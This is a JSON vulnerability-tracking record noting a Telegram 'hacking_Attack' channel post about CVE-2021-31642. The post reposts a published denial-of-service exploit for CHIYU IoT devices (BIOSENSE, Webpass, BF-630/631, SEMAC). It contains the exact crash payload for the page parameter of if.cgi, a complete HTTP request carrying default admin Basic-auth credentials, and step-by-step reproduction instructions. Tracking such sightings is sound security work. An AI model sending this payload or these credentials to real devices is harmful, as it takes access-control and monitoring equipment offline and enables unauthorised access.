{"uuid": "59b17eb9-e9c4-4a03-846a-4a527c45def2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31642", "type": "seen", "source": "https://t.me/hacking_Attack/11260", "content": "Exploit Collector\nCHIYU IoT Denial Of Service\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nCHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.\n\nMD5 | 2710ae05b0dfa9c84b0ae83ebc6ff34e\n\nDownload\n# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)\n# Date: 01/06/2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html\n# Software Link: https://www.chiyu-tech.com/category-hardware.html\n# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC   - all firmware versions < June 2021\n# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC\n# CVE: CVE-2021-31642\n# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks\n\nDescription: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.\nCVE ID: CVE-2021-31642\nCVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\nURL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642\n\nAffected parameter: page=Component: if.cgi\nPayload:\nif.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000\n\n====HTTP request======\nGET\n/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000\nHTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)\nGecko/20100101 Firefox/87.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3\nAccept-Encoding: gzip, deflate\nAuthorization: Basic YWRtaW46YWRtaW4=\nConnection: close\nReferer: http://127.0.0.1/AccLog.htm\nCookie: fresh=\nUpgrade-Insecure-Requests: 1\nSteps to reproduce:\n1. Navigate to the vulnerable device\n2. Make a GET request to the CGI component (if.cgi)\n3. Append the payload at the end of the vulnerable parameter (page)\n4. Submit the request and observe payload execution\nMitigation: The latest version of the CHIYU firmware should be installed\nto mitigate this vulnerability.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:16.454251Z"}